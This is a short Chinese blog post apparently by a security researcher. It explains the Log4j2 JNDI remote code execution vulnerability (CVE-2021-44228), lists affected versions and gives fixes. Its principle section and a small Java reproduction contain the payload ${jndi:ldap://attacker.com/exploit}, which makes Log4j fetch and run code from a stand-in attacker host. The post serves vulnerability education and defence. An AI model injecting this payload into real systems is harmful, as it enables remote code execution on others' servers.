漏洞分析 Log4j2 RCE CVE-2021-44228

Log4j2 远程代码执行漏洞深度分析 (CVE-2021-44228)

kinght
发布于 2026-01-28
5 阅读

Log4j2 远程代码执行漏洞深度分析

漏洞概述

Apache Log4j2 是一个广泛使用的 Java 日志框架。2021年11月24日,阿里云安全团队向 Apache 官方报告了 Log4j2 远程代码执行漏洞(CVE-2021-44228)。

影响范围

  • Apache Log4j 2.x <= 2.14.1

漏洞原理

漏洞存在于 Log4j2 的 JNDI lookup 功能中。当应用程序记录包含 ${jndi:ldap://attacker.com/exploit} 格式的日志时,Log4j2 会尝试从指定的 LDAP 服务器加载并执行恶意代码。

复现步骤

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jRCE {
    private static final Logger logger = LogManager.getLogger(Log4jRCE.class);

    public static void main(String[] args) {
        // 恶意输入
        String maliciousInput = "${jndi:ldap://attacker.com/exploit}";
        logger.info("User input: {}", maliciousInput);
    }
}

修复方案

  1. 升级到 Log4j 2.15.0 或更高版本
  2. 设置系统属性 log4j2.formatMsgNoLookups=true
  3. 设置环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true

参考链接

  • https://logging.apache.org/log4j/2.x/security.html

kinght

安全研究员

文章目录